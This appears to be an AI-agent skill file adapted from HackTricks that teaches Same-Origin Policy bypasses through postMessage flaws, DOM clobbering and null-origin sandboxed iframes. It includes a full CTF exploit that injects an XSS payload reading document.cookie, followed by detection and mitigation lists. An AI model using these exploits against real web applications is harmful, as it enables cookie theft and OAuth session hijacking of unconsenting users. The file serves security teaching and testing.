Hacktricks-skills postmessage-sop-bypass

How to bypass Same-Origin Policy (SOP) using postMessage vulnerabilities, DOM clobbering, and null-origin iframe techniques. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe attacks, SOP bypass, DOM clobbering, null-origin exploits, OAuth popup hijacking, or any scenario involving cross-window message handling. Trigger this skill for CTF challenges, security assessments, or when analyzing postMessage event handlers with weak source/origin validation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2/SKILL.MD
source content

PostMessage SOP Bypass Techniques

This skill covers advanced techniques for bypassing Same-Origin Policy restrictions using

postMessage
vulnerabilities, DOM clobbering, and null-origin iframe exploitation.

When to Use This Skill

Use this skill when:

  • Analyzing
    postMessage
    event handlers with weak validation
  • CTF challenges involving cross-origin communication
  • Security assessments of applications using
    window.postMessage()
  • Encountering
    event.source
    or
    event.origin
    checks that can be bypassed
  • OAuth popup flows with iframe-based openers
  • Applications using
    innerHTML
    sinks with postMessage data

Core Attack Primitives

1. DOM Clobbering to Nullify Window Properties

Goal: Make

window.calc.contentWindow
evaluate to
undefined
by clobbering
document.getElementById
.

Technique:

<!-- Clobber document.getElementById -->
<img name="getElementById" />
<div id="calc"></div>

Effect:

document.getElementById("calc")
returns the
<img>
element instead of the
<div>
, and
window.calc
becomes
undefined
.

Why it works: The Sanitizer API is not configured to protect against DOM clobbering by default. Elements with

name
attributes can clobber global properties.

2. Null-Origin via Iframe Removal

Goal: Make

event.source
evaluate to
null
in the postMessage handler.

Technique:

let iframe = document.createElement("iframe");
document.body.appendChild(iframe);

// Send message from iframe
iframe.contentWindow.eval(`
  window.parent.target.postMessage("payload", "*");
`);

// Immediately remove iframe - event.source becomes null
document.body.removeChild(iframe);

Effect: When the iframe is removed before the message handler executes,

event.source
is
null
.

Why it works: The

event.source
reference points to the iframe's window. If the iframe is removed, the reference becomes
null
. Combined with loose equality (
==
),
null == undefined
evaluates to
true
.

3. Null-Origin via Sandboxed Iframes

Goal: Create a stable null-origin environment for triggering errors in

document.cookie
access.

Technique:

const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts allow-popups'; // Note: NO allow-same-origin
iframe.srcdoc = `<script>
  // This code runs in null origin
  const token = getCookie(); // Triggers error, returns undefined
</script>`;
document.body.appendChild(iframe);

Effect: Any access to

document.cookie
in a null-origin page throws an error, making dependent variables
undefined
.

Why it works: Sandboxed iframes without

allow-same-origin
have
origin === "null"
. Accessing
document.cookie
from null origin is blocked by the browser.

4. OAuth Popup Hijacking (2025 Pattern)

Goal: Bypass origin checks in OAuth callback handlers.

Technique:

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
  <script>
    const pop = open('https://oauth.example/callback');
    pop.postMessage({ cmd: 'getLoginCode' }, '*');
  </script>`;
document.body.appendChild(frame);

Effect: Both the iframe and the popup have

origin === "null"
, so handlers checking
if (origin !== window.origin)
fail silently.

Why it works: The popup inherits the null origin from its opener (the sandboxed iframe). Victim code comparing origins sees

"null" === "null"
and accepts the message.

5. X-Frame-Options Bypass via window.open

Goal: Interact with pages that set

X-Frame-Options: DENY
.

Technique:

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
  const victim = open('https://target-app/');
  setTimeout(() => {
    probe.contentWindow.postMessage(payload, '*');
    probe.remove();
  }, 500);
};
document.body.appendChild(probe);

Effect: Can post messages to pages that would normally block iframe embedding.

Why it works:

window.open()
creates a popup window, not an iframe. The iframe is only used as a message relay.

Complete Attack Pattern

Obligatory Calc CTF Solution

This demonstrates combining all primitives to bypass:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {
  // Vulnerable sink
  document.getElementById('result').innerHTML = e.data.result;
}

Full exploit:

<html>
  <body>
    <script>
      // Step 1: Clobber document.getElementById via URL parameter
      open(
        'https://target/?expr="<form name=getElementById id=calc>"'
      );

      function start() {
        var ifr = document.createElement("iframe");
        // Step 2: Create sandboxed iframe with null origin
        ifr.sandbox = "allow-scripts allow-popups";
        ifr.srcdoc = `<script>(${hack})()<\/script>`;
        document.body.appendChild(ifr);

        function hack() {
          var win = open("https://target/");
          setTimeout(() => {
            parent.postMessage("remove", "*");
            // Step 3: Send payload with token=null
            // e.source will be null (iframe removed)
            // window.token will be undefined (cookie access error)
            // null == undefined is true
            win.postMessage(
              {
                token: null,
                result: "<img src=x onerror='alert(document.cookie)'>",
              },
              "*"
            );
          }, 1000);
        }

        // Step 4: Remove iframe to nullify event.source
        onmessage = (e) => {
          if (e.data == "remove") document.body.innerHTML = "";
        };
      }
      setTimeout(start, 1000);
    </script>
  </body>
</html>

Detection & Analysis Checklist

When analyzing postMessage handlers, check for:

  1. Loose equality checks:
    ==
    instead of
    ===
    allows
    null == undefined
  2. Source validation: Does the code check
    event.source
    ? Can it be nullified?
  3. Origin validation: Does the code check
    event.origin
    ? Can it be made null?
  4. Cookie access in handlers: Does
    window.token
    or similar depend on
    document.cookie
    ?
  5. innerHTML sinks: Is postMessage data written to the DOM without sanitization?
  6. Iframe lifecycle: Are iframes removed after sending messages?
  7. Sandbox attributes: Do iframes use
    allow-scripts allow-popups
    without
    allow-same-origin
    ?

Mitigation Recommendations

  1. Use strict equality:
    ===
    instead of
    ==
    for all comparisons
  2. Validate origin explicitly: Check against a whitelist of allowed origins
  3. Never trust event.source: It can be nullified through iframe removal
  4. Sanitize all postMessage data: Treat it as untrusted input
  5. Use CSP: Content Security Policy can limit script execution
  6. Avoid DOM clobbering: Don't use
    name
    attributes that conflict with globals
  7. Check for null origin:
    if (event.origin === 'null') return;

References